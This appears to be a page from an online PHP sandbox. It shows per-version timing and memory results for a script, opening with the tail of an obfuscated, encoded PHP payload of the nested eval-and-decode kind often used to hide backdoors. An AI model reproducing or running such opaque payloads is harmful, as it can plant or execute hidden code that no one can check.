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J250IngJBT5xZIWmLbc0EYAaEgETokDSJvMREvqKERW2q4NQIDMxrHuUBSWTHFy3GjgJrXyQZ6ETHPuIHkIQZvWxHIEIHXIxHcWRoFIHZSI1HBI1HkNKEKgzDdMSqBWwFiI1EnMaGKc1n5LxGlHyZwuzFUg0pT1TMfSQILWzERW2qSExL3uQZHOyE6ESr4HxLDWIrCyJFd5Rr3MRM5ySIA')))); ?>
based on fZY0P

Here you find the average performance (time & memory) of each version. A greyed out version indicates it didn't complete successfully (based on exit-code).
Note: hhvm uses a JIT which only kicks in after a few runs. Since we run scripts only once, hhvm always runs slower.

VersionSystem time (s)User time (s)Memory (MiB)
7.3.0alpha10.0050.00012.90
7.2.60.0100.00616.59
7.2.00.0030.00919.02
7.1.100.0100.00717.59
7.1.70.0060.00617.06
7.1.60.0110.01419.30
7.1.50.0090.01516.83
7.1.00.0030.07722.41
7.0.200.0030.00616.56
7.0.60.0070.08021.66
7.0.50.0100.04717.79
7.0.40.0130.06720.15
7.0.30.0330.06020.34
7.0.20.0330.07020.10
7.0.10.0130.06720.19
7.0.00.0100.08020.17
5.6.280.0070.05020.91
5.6.210.0030.08320.77
5.6.200.0030.05318.27
5.6.190.0070.06320.52
5.6.180.0330.04720.33
5.6.170.0370.07320.56
5.6.160.0070.05020.52
5.6.150.0130.07018.29
5.6.140.0100.03718.28
5.6.130.0100.08318.21
5.6.120.0130.07021.01
5.6.110.0030.09021.06
5.6.100.0170.07721.00
5.6.90.0100.06321.10
5.6.80.0030.06720.39
5.5.350.3470.03720.36
5.5.340.0030.08017.92
5.5.330.0070.04320.21
5.5.320.0230.06020.35
5.5.310.0370.03320.30
5.5.300.0000.04018.00
5.5.290.0100.07718.07
5.5.280.0000.05320.87
5.5.270.0070.07320.89
5.5.260.0130.08020.76
5.5.250.0030.05720.71
5.5.240.0030.06020.12
5.4.450.0270.05019.56
5.4.440.0230.05019.65
5.4.430.0300.05319.53
5.4.420.0570.04319.43
5.4.410.0430.04719.17
5.4.400.0500.05019.16
5.4.390.0370.05019.21
5.4.380.0630.05018.93
5.4.370.0430.06019.32
5.4.360.0600.05019.22
5.4.350.0230.04018.93
5.4.340.0470.05319.16
5.4.320.0400.06019.30
5.4.310.0470.06019.21
5.4.300.0700.06018.93
5.4.290.0570.05019.22
5.4.280.0700.04019.27
5.4.270.0570.05719.16
5.4.260.0430.05719.23
5.4.250.0500.05319.16
5.4.240.0370.05318.94
5.4.230.0600.04319.19
5.4.220.0670.04018.94
5.4.210.0530.04719.20
5.4.200.0630.04319.27
5.4.190.0500.05019.20
5.4.180.0570.04719.10
5.4.170.0570.05319.09
5.4.160.0530.06019.24
5.4.150.0630.05319.10
5.4.140.0500.05316.49
5.4.130.0400.05716.48
5.4.120.0570.04716.50
5.4.110.0570.05716.67
5.3.290.0600.05014.70
5.3.280.0670.05014.76
5.3.270.0500.06014.62
5.3.260.0430.06014.62
5.3.250.0570.05314.63
5.3.240.0400.05714.62
5.3.230.0430.06714.55
5.3.220.0530.05714.42
5.3.210.0600.05314.62